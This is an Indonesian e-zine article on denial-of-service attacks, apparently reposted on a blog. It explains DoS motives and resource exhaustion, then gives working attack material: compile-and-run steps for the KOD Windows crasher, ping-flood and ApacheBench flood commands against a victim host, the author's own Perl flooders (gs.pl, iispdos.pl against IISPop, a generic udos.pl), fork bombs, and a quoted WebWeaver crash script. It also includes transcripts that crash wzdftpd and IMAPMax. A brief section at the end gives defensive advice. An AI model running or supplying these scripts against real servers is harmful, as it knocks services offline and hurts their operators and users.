Apa Itu DOS dan Bagaimana Mengatasinya...

4:05 PM

 
 
=========================================
= SERANGAN DENIAL OF SERVICE =
=========================================

echo-zine 02
Oleh: MOBY (echo-staff)
      moby@echo.or.id || mobygeek@telkom.net


  .o0 Kata Pengantar

 Pada dasarnya saya mencoba memberikan gambaran umum tentang Denial of
        Service atau yang lebih kita kenal dengan DoS.   Beberapa pertanyaan 
        yang mungkin bisa terjawab diantaranya :
 
  1. Apa itu DoS ?
  2. Apa motif cracker untuk melakukan itu ?
  3. Bagaimana cara melakukannya ?
  4. Apa yang harus saya lakukan untuk mencegahnya ?

 Semuanya untuk anda, ENJOY !!.  
 
  .o0 Apa itu Denial of Service (DoS) ?

 Denial of Service adalah aktifitas menghambat kerja sebuah layanan (servis) 
        atau   mematikan-nya, sehingga user yang berhak/berkepentingan tidak dapat 
        menggunakan   layanan tersebut. Dampak akhir   dari  aktifitas ini menjurus 
        kepada    tehambatnya aktifitas korban yang dapat   berakibat  sangat fatal 
        (dalam kasus tertentu). Pada dasarnya Denial of Service merupakan serangan
         yang sulit diatasi, hal ini disebabkan oleh resiko layanan publik dimana
        admin akan berada  pada kondisi yang membingungkan   antara   layanan  dan 
        kenyamanan terhadap keamanan.  Seperti yang kita tahu, keyamanan berbanding 
        terbalik dengan keamanan. Maka resiko yang mungkin timbul selalu mengikuti 
        hukum ini.

 Beberapa aktifitas DoS adalah:
  
  1. Aktifitas 'flooding' terhadap suatu server.
  2. Memutuskan koneksi antara 2 mesin.
  3. Mencegah korban untuk dapat menggunakan layanan.
  4. Merusak sistem agar korban tidak dapat menggunakan layanan.


  .o0 Motif penyerang melakukan Denial of Service

 Menurut Hans Husman (t95hhu@student.tdb.uu.se), ada beberapa motif cracker 
        dalam melakukan Denial of Service yaitu:

  1. Status Sub-Kultural.
  2. Untuk mendapatkan akses.
  3. Balas dendam.
  4. Alasan politik.
  5. Alasan ekonomi.
  6. Tujuan kejahatan/keisengan.

 Satatus subkultural dalam dunia hacker, adalah sebuah unjuk gigi atau lebih 
        tepat kita sebut sebagai pencarian jati diri. Adalah sebuah aktifitas umum 
        dikalangan hacker-hacker muda untuk menjukkan kemampuannya  dan  Denial of
        Service merupakan aktifitas   hacker diawal karirnya.  Alasan politik  dan 
        ekonomi untuk saat sekarang juga merupakan alasan yang paling relevan. Kita 
        bisa melihat dalam 'perang cyber' (cyber war), serangan DoS bahkan dilakukan 
        secara terdistribusi atau lebih dikenal dengan istilah 'distribute Denial of
        Service'. Beberapa kasus serangan virus semacam 'code-red' melakukan serangan
        DoS bahkan secara otomatis dengan memanfaatkan komputer yang terinfeksi, 
        komputer ini disebut 'zombie' dalam jargon.Lebih relevan lagi, keisengan 
        merupakan motif yang paling sering dijumpai. Bukanlah hal sulit untuk 
        mendapatkan program-program DoS, seperti nestea, teardrop, land, boink, 
        jolt dan vadim. Program-program DoS dapat melakukan serangan Denial of 
        Service dengan sangat tepat, dan yang terpenting sangat mudah untuk 
        melakukannya. Cracker cukup mengetikkan satu baris perintah pada Linux Shell 
        yang berupa ./nama_program argv argc ...
 

  .o0 Denial of Sevice, serangan yang menghabiskan resource.

 Pada dasarnya, untuk melumpuhkan sebuah layanan dibutuhkan pemakaian resource 
  yang besar, sehingga komputer/mesin yang diserang   kehabisan  resource dan
 manjadi hang. Beberapa jenis resource yang dihabiskan diantaranya:
  
  A. Swap Space
  B. Bandwidth
  C. Kernel Tables
  D. RAM
  E. Disk
  F. Caches
  G. INETD

  A. Swap Space
 
 Hampir semua sistem menggunakan ratusan MBs spasi swap untuk melayani permintaan 
 client. Spasi swap juga digunakan untuk mem-'forked' child process. Bagaimanapun
 spasi swap selalu berubah dan digunakan dengan sangat berat. Beberapa   serangan 
 Denial of Service mencoba untuk memenuhi (mengisi) spasi swap ini.

  B. Bandwidth

 Beberapa serangan Denial of Service menghabiskan bandwidth.

  C. Kernel Tables

 Serangan pada kernel tables, bisa berakibat sangat buruk pada sistem. Alokasi 
 memori kepada kernel juga merupakan target serangan yang sensitif. Kernel 
 memiliki kernelmap limit, jika sistem mencapai posisi ini, maka sistem tidak 
 bisa lagi mengalokasikan memory untuk kernel dan sistem harus di re-boot.

  D. RAM

 Serangan Denial of Service banyak menghabiskan RAM sehingga sistem mau-tidak 
 mau harus di re-boot.

  E. Disk

 Serangan klasik banyak dilakukan dengan memenuhi Disk.

  F. Caches

  G. INETD

 Sekali saja INETD crash, semua service (layanan) yang melalui INETD tidak akan 
 bekerja.


  .o0 Teknik Melakukan Denial of Service

 Melakukan DoS sebenarnya bukanlah hal yang sulit dilakukan. Berhubung DoS merupakan 
 dampak buruk terhadap sebuah layanan publik, cara paling ampuh untuk menghentikannya 
 adalah menutup layanan tersebut. Namun tentu saja hal ini tidak mengasikkan dan juga 
 tidak begitu menarik.
 Kita akan bahas tipe-tipe serangan DoS.
 
  1. SYN-Flooding
     SYN-Flooding merupakan network Denial ofService yang memanfaatkan 'loophole'
      pada saat koneksi TCP/IP terbentuk. Kernel Linux terbaru (2.0.30 dan yang
     lebih baru) telah mempunyai option konfigurasi untuk mencegah Denial of 
     Service dengan mencegahmenolak cracker untuk mengakses sistem.  
  2. Pentium 'FOOF' Bug
     Merupakan serangan Denial of Service terhadap prosessor Pentium yang  
     menyebabkan sistem menjadi reboot. Hal ini tidak bergantung terhadap jenis 
     sistem operasi yang digunakan tetapi lebih spesifik lagi terhadap prosessor 
     yang digunakan yaitu pentium.   
  3. Ping Flooding
     Ping Flooding adalah brute force Denial of Service sederhana. Jika serangan 
     dilakukan oleh penyerang dengan bandwidth yang lebih baik dari korban, maka 
     mesin korban tidak dapat mengirimkan paket data ke dalam jaringan (network). 
     Hal ini terjadi karena mesin korban di banjiri (flood) oleh peket-paket ICMP. 
     Varian dari serangan ini disebut "smurfing" 
     (http://www.quadrunner.com/~chuegen/smurf.txt).  

 Serangan menggunakan exploits.

  Beberapa hal yang harus dipahami sebelum melakukan serangan ini adalah:
   A. Serangan membutuhkan Shell Linux (Unix/Comp)
   B. Mendapatkan exploits di: http://packetstormsecurity.nl (gunakan 
      fungsi search agar lebih mudah)
   C. Menggunakan/membutuhkan GCC (Gnu C Compiler)

  1. KOD (Kiss of Death)
     Merupakan tool Denial of Service yang dapat dugunakan untuk menyerang Ms.
     Windows pada port 139 (port netbios-ssn). Fungsi utama dari tool ini adalah  
     membuat hang/blue screen of death pada komputer korban.
     Cara penggunaan:
     A. Dapatkan file kod.c
     B. Compile dengan Gcc: $ gcc -o kod kod.c
     C. Gunakan: $ kod [ip_korban] -p [port] -t [hits]  
     Kelemahan dari tool ini adalah tidak semua serangan berhasil, bergantung
     kepada jenis sistem operasi dan konfigurasi server target (misalmya: 
      blocking) 
  2. BONK/BOINK
     Bong adalah dasar dari teardrop (teardrop.c). Boink merupakan Improve dari 
     bonk.c yang dapat membuat crash mesin MS. Windows 9x dan NT
  3. Jolt
     Jolt sangat ampuh sekali untuk membekukan Windows 9x dan NT. Cara kerja Jolt 
     yaitu mengirimkan serangkaian series of spoofed dan fragmented ICMP Packet  
     yang tinggi sekali kepada korban.
  4. NesTea
     Tool ini dapat membekukan Linux dengan Versi kernel 2.0. kebawah dan Windows 
     versi awal. Versi improve dari NesTea dikenal dengan NesTea2 
  5. NewTear
     Merupakan varian dari teardrop (teardrop.c) namun berbeda dengan bonk  
     (bonk.c)
  6. Syndrop 
     Merupakan 'serangan gabungan' dari TearDrop dan TCP SYN Flooding. Target  
     serangan adalah Linux dan Windows 
  7. TearDrop
     TearDrop mengirimkan paket Fragmented IP ke komputer (Windows) yang terhubung 
     ke jaringan (network). Serangan ini memanfaatkan overlapping ip fragment, bug 
     yang terdapat pada Windowx 9x dan NT. Dampak yang timbul dari serangan ini  
     adalah Blue Screen of Death 

 Serangan langsung (+ 31337)

  1. Ping Flood
     Membutuhkan akses root untuk melakukan ini pada sistem Linux. Implementasinya 
     sederhana saja, yaitu dengan mengirimkan paket data secara besar-besaran.
     bash # ping -fs 65000 [ip_target]
  2. Apache Benchmark
     Program-program Benchmark WWW, digunakan untuk mengukur kinerja (kekuatan)  
     suatu web server, namun tidak tertutup kemungkinan untuk melakukan   
     penyalahgunaan.
     bash $ /usr/sbin/ab -n 10000 -c 300 \ 
     http://korban.com/cgi-bin/search.cgi?q=kata+yang+cukup+umum
     (diketik dalam 1 baris!)
     Akan melakukan 10000 request paralel 300 kepada host korban.com 
  3. Menggantung Socket
     Apache memiliki kapasitas jumlah koneksi yang kecil. Konfigurasi universal  
     oleh Apache Software Foundation adalah MaxClients 150, yang berarti hanyak  
     koneksi yang diperbolehkan mengakses Apache dibatasi sebanyak 150 clients.  
     Jumlah ini sedikit banyak dapat berkurang mengingat browser lebih dari 1  
     request simultan dengan koneksi terpisah-pisah. 

     Penyerang hanya melakukan koneksi lalu diam, pada saat itu apache akan  
      menunggu selama waktu yang ditetukan direktif TimeOut (default 5 menit).  
     Dengan mengirimkan request simultan yang cukup banyak penyerang akan memaksa 
     batasan maksimal MaxClients. Dampak yang terjadi, clien yang mengakses apache 
     akan tertunda dan apa bila backlog TCP terlampaui maka terjadi penolakan,   
    seolah-olah server korban tewas. 

 Script gs.pl (gantung socket)      

 #!/usr/bin/perl
 #
 # Nama Script  : gs.pl
 # Tipe         : Denial of Service (DoS)
 # Auth         : MOBY || eCHo --> moby@echo.or.id || mobygeek@telkom.net
 # URL          : www.echo.or.id
 # 
 use IO::Socket;
 if (!$ARGV[1]) {
  print "Gunakan: perl gs.pl [host] [port] \n";
  exit;
 }
 for (1..1300) {
  $fh{$_}=new IO::Socket::INET
   PeerAddr=> "$ARGV[0]",
   PeerPort=> "$ARGV[1]",
   Proto => "tcp"
 or die; print "$_\n"
 }
 # END. 27 Oktober 2003 
 # Lakukan dari beberapa LoginShell (komputer) !

  DoS-ing Apache lagi !!

   Beberapa contoh skrip perl untuk melakukan DoS-ing secara local.

 1. Fork Bomb, habiskan RAM
 
 #!/usr/bin/perl
 fork while 1;
 
 2. Habiskan CPU
 
 #!/usr/bin/perl 
 for (1..100) { fork or last }
 1 while ++$i

 3. Habiskan Memory

 #!/usr/bin/perl
 for (1..20) { fork or last }
 while(++$i) { fh{$i} = "X" x 0xff; }

  4. Serangan Input Flooding
     Saya mengamati serangan ini dari beberapa advisories di BugTraq. Remote  
     Buffer Overflow yang menghasilkan segmentation fault (seg_fault) dapat  
     terjadi secara remote jika demon (server) tidak melakukan verifikasi input  
     sehingga input membanjiri buffer dan menyebabkan program dihentikan secara  
     paksa.  
   
     Beberapa 'proof of concept' dapat dipelajari melalui beberapa contoh ini.  

 1. Serangan kepada IISPop EMAIL Server.
    Sofie   : Email server
    Vendor  : http://www.curtiscomp.com/
    TIPE    : Remote DoS
    
    IISPop akan crash jika diserang dengan pengiriman paket data sebesar 289999 bytes,  
   versi yang vuneral dan telah di coba adalah V: 1.161 dan 1.181
 
 Script: iispdos.pl
 
 #!/usr/bin/perl -w
 #
 # $0_            : iispdos.pl
 # Tipe serangan  : Denial of service
 # Target         : IISPop MAIL SERVER V. 1.161 & 1.181
 # Auth           : MOBY & eCHo -> moby@echo.or.id || mobygeek@telkom.net
 # URL            : www.echo.or.id
 #
 use IO::Socket;
 if (!$ARGV[0]) {
  print "Gunakan: perl iispdos.pl [host] \n";
  exit;
 }
 # Data 289999 bytes
 $buff = "A" x 289999; 
 
 print "Connecting ... >> $ARGV[0] \n";
 $connect = new IO::Socket::INET (
     PeerAddr=> "$ARGV[0]", 
     PeerPort=> "110", 
     Proto=> "tcp") or die;
     print "Error: $_\n";
 print "Connect !!\n";
 print $connect "$buff\n";
 close $connect;
 print "Done \n";
 print "POST TESTING setelah serangan \n";
 print "TEST ... >> $ARGV[0] \n";
 $connect = new IO::Socket::INET (
     PeerAddr => "$ARGV[0]",
     PeerPort => "110",
     Proto => "tcp") or die;
     print "Done !!, $ARGV[0] TEWAS !! \n";

 print "Gagal !! \n";
 close $connect;
 # END. 

 2. Membunuh wzdftpd.
    Sofie   : wzdftpd 
           Vendor  : http://www.wzdftpd.net
     
 Proof of Concept:
 
 % telnet 127.0.0.1 21
        Trying 127.0.0.1...
 Connected to localhost.novel.ru.
 Escape character is '^]'.
 220 wzd server ready.
 USER guest
 331 User guest okay, need password.
 PASS any
 230 User logged in, proceed.
 PORT
 Connection closed by foreign host.
 % telnet 127.0.0.1 21
 Trying 127.0.0.1...
 telnet: connect to address 127.0.0.1: Connection refused
 telnet: Unable to connect to remote host

 wzdftpd crash setelah diberikan perintah/command PORT !

 3. Serangan 32700 karakter, DoS BRS WebWeaver.
    Sofie : BRS WebWeaver V. 1.04
    Vendor : www.brswebweaver.com
    BugTraqer : euronymous /F0KP

 }------- start of fadvWWhtdos.py ---------------{

 #! /usr/bin/env python
 ## #!/usr/bin/python (Py Shebang, MOBY)
 ###
 # WebWeaver 1.04 Http Server DoS exploit 
 # by euronymous /f0kp [http://f0kp.iplus.ru]
 ########
 # Usage: ./fadvWWhtdos.py
 ########

 import sys
 import httplib

 met = raw_input("""
 What kind request you want make to crash webweaver?? [ HEAD/POST ]: 
 """)
 target = raw_input("Type your target hostname [ w/o http:// ]: ")
 spl = "f0kp"*0x1FEF
 conn = httplib.HTTPConnection(target)
 conn.request(met, "/"+spl)
 r1 = conn.getresponse()
 print r1.status

 }--------- end of fadvWWhtdos.py ---------------{

 Serangan diatas mengirimkan 32700 karakter yang menyebabkan server crash !

 4. Buffer Overflow pada MailMAX 5
    Sofie     : IMAP4rev1 SmartMax IMAPMax 5 (5.0.10.8)
    Vendor    : http://www.smartmax.com
    BugTraqer : matrix at 0x36.org

 Remote Buffer Overflow terjadi apa bila user mengirimkan input (arg) kepada command 
 SELECT. Dampak dari serangan ini adalah berhentiya server dan harus di-restart secara 
 manual.

 Contoh eksploitasi:
                       --------[ transcript ]-------
 nc infowarfare.dk 143
 * OK IMAP4rev1 SmartMax IMAPMax 5 Ready
 0000 CAPABILITY
 * CAPABILITY IMAP4rev1
 0000 OK CAPABILITY completed
 0001 LOGIN "RealUser@infowarfare.dk" "HereIsMyPassword"
 0001 OK User authenticated.
 0002 SELECT "aaa...[256]...aaaa"
                             --------[ transcript ]-------
    
 Perhatian !, contoh eksploitasi diatas menggunakan NetCat (nc), anda bisa dapatkan tool 
 ini pada url: http://packetstormsecurity.nl dengan kata kunci 'nc' atau 'netcat' 

 
 Jika kita perhatikan, serangan flooding memiliki kesamaan, yaitu - tentu saja - 
 membanjiri input dengan data yang besar. Serangan akan lebih efektif jika dilakukan pada 
 komputer esekutor yang memiliki bandwidth lebar.
 
 Dengan mempelajari kesamaan serangan, step yang dilakukan adalah:
 A. Connect ke korban (host, port).
 B. Kirimkan paket data dalam jumlah besar. 
 C. Putuskan koneksi > selesai.

 Dari step diatas, kita bisa membuat sebuah skrip universal untuk melakukan serangan DoS. 
 Skrip ini membutuhkan 3 argumen yaitu: target_address (host/ip target), target_port ( 
        port koneksi ke server korban), dan data (jumlah paket data yang akan dikirim). 

 -- udos.pl --
       
 #!/usr/bin/perl
 #
 # $0   : udos.pl
 # Auth : MOBY & eCHo -> moby@echo.or.id | mobygeek@telkom.net
 # URL  : www.echo.or.id
 #
 use IO::Socket;
 #
 if (!$ARGV[2]) {
  print "Gunakan % perl udos.pl [host] [port] [data] \n";
  print "Contoh :\n";
  print "\t $ perl udos.pl 127.0.0.1 21 50000 \n";
  exit;
 }
 # Siapkan data 
 $buffer = "A" x $ARGV[2];
 # Connect -> Korban
 print "Connecting ... -> $ARGV[0] \n";
 $con = new IO::Socket::INET (  
   PeerAddr=> "$ARGV[0]",
   PeerPort=> "$ARGV[1]",
   Proto=> "tcp") or die;
   print "Error: $_ \n";
 # Connect !
 print "Connect !! \n";
 print $con "$buffer\n";
 close $con;
 print "Done. \n";
 print "POST TESTING setelah serangan \n";
 print "TEST ... >> $ARGV[0] \n";
 $connect = new IO::Socket::INET (
     PeerAddr => "$ARGV[0]",
     PeerPort => "$ARGV[1]",
     Proto => "tcp") or die;
     print "Done !!, $ARGV[0] TEWAS !! \n";

 print "Gagal !! \n";
 close $connect;
 # End.

 -- udos.pl --

 Skrip sederhana diatas hanya melakukan hubungan dengan server korban, 
 lalu mengirimkan flood dan melakukan post testing. Dengan sedikit 
 pemprograman anda dapat membuat sebuah 'Mass Flooder' atau 'Brute Force 
 Flooder', tergantung pada kreatifitas anda !   


  .o0 Penanggulangan serangan Denial of Service

 Sejujurnya, bagian inilah yang paling sulit. Anda bisa lihat bagaimana 
 mudahnya menggunaka sploits/tool   untuk membekukan   Ms Windows, atau
 bagaimana mudahnya melakukan input flooding dan membuat tool   sendiri. 
 Namun Denial of service adalah masalah layanan publik.Sama halnya dengan 
 anda memiliki toko, sekelompok orang jahat bisa saja masuk beramai-ramai 
 sehingga toko anda penuh. Anda bisa saja mengatasi 'serangan' ini dengan
 'menutup' toko anda - dan ini adalah cara paling efektif - namun jawaban
 kekanak-kanakan demikian tentu tidak anda harapkan.

  1. Selalu Up 2 Date.
  Seperti contoh serangan diatas, SYN Flooding sangat efektif untuk membekukan
 Linux kernel 2.0.*. Dalam hal ini Linux kernel 2.0.30 keatas cukup handal
 untuk mengatasi serangan tersebut dikarenakan versi 2.0.30 memiliki option 
 untuk menolak cracker untuk mengakses system.

  2. Ikuti perkembangan security
 Hal ini sangat efektif dalam mencegah pengerusakan sistem secara ilegal. 
 Banyak admin malas untuk mengikuti issue-issue terbaru perkembangan dunia
 security. Dampak yang paling buruk, sistem cracker yang 'rajin', 'ulet' 
 dan 'terlatih' akan sangat mudah untuk memasuki sistem dan merusak - 
 tidak tertutup kemungkinan untuk melakukan Denial of Service -.
 Berhubungan dengan 'Selalu Up 2 Date', Denial of service secara langsung 
 dengan Flooding dapat diatasi dengan menginstall patch terbaru dari vendor
  atau melakukan up-date.

  3. Teknik pengamanan httpd Apache.
 + Pencegahan serangan Apache Benchmark.
 Hal ini sebenarnya sangat sulit untuk diatasi. Anda bisa melakukan 
 identifikasi terhadap pelaku dan melakukan pemblokiran manual melalui 
 firewall atau mekanisme kontrol Apache (Order, Allow from, Deny From ). 
 Tentunya teknik ini akan sangat membosankan dimana anda sebagai seorang 
 admin harus teliti.
 Mengecilkan MexClients juga hal yang baik, analognya dengan membatasi 
 jumlah pengunjung akan menjaga toko anda dari 'Denial of Service'. 
 Jangan lupa juga menambah RAM.

  4. Pencegahan serangan non elektronik.
 Serangan yang paling efektif pada dasarnya adalah local. Selain efektif 
 juga sangat berbahaya. Jangan pernah berfikir sistem anda benar-benar aman, 
 atau semua user adalah orang 'baik'. Pertimbangkan semua aspek. Anda bisa 
 menerapkan peraturan tegas dan sanksi untuk mencegah user melakukan serangan 
 dari dalam. Mungkin cukup efektif jika dibantu oleh kedewasaan berfikir dari
 admin dan user bersangkutan.  


  .o0 Penututp.

 Berbicara masalah security merupakan hal yang mengasikkan. Teknik-teknik 
 intrusi baru begitu unik dan sebagai seorang geek saya yakin 'keindahan 
 pengetahuan diatas segalanya'. Anda tidak akan melakukan hal-hal bodoh 
 seputar dokumen ini dan ingat selalu 'kita tidak pernah tahu segalanya'. 
 Mulailah belajar, perhatikan dunia dan kuasai ! Anda akan terkagum, 
 betapa indahnya semesta ini.
 Terima kasih untuk anda semua telah membaca artikel ini - bahkan sampai 
 baris ini :) -. Terima kasih untuk rekan-rekan echo-staff atas support 
 selama ini. Untuk semua Computer Security Industries Indonesia, teruslah 
 berjuang Amigo !! Computer Underground, hey nak, sudah saatnya belajar 
 dan berhenti bermain. Semua teman-teman online TERIMA KASIH !!
 Shout buat Willy, Al, Dudunk - semua pengunjung 'rumah mesum' :P 
 (cuma istilah/jargon) - Thanks buat Rizka, maaf atas 'pesan-pesan filosofi 
 gelap', kamu tahu pemilik nomor 08157190*** !. "Ka .. tidak baik marah 
 kepada seseorang yang datang dengan kasih sayang :)"

 "KALAU AKU SEORANG ATEIS, MAKA AKAN AKU KATAKAN:
  'TEMPAT YANG PALING AMAN ADALAH PETI MATI'
 TAPI TERNYATA AKU SALAH !!"
      [MOBY]

 
Bacaan lanjutan / referensi:
 
 [1] Kejahatan Internet, Trik Aplikasi dan Tip Penanggulangannya.
     R. Kresno Aji, Agus Hartanto, Deni Siswanto, Tommy Chandra Wiratama.
     Elexmedia Komputindo, ISBN: 979-20-3249-5
 [2] 7 Cara Isengi Apache dan kiat mengatasinya.
     Steven Haryanto, Masterweb Magazine Oktober 2001
 [3] Introduction to Denial of Service
     Hans Husman, t95hhu@student.tdb.uu.se
 [4] CERT ADVISORIES.
     www.cert.org
 [5] Packet Storm Security
     http://packetstormsecurity.nl
 [6] BugTraq
     www.securityfocus.com 
 
 
Source : http://ezine.echo.or.id/ezine2/ddos~Moby.txt
 

Share this

Related Posts

Previous
Next Post »

thanks for your comment...!
visit my blog back for more informatin about IT and Security EmoticonEmoticon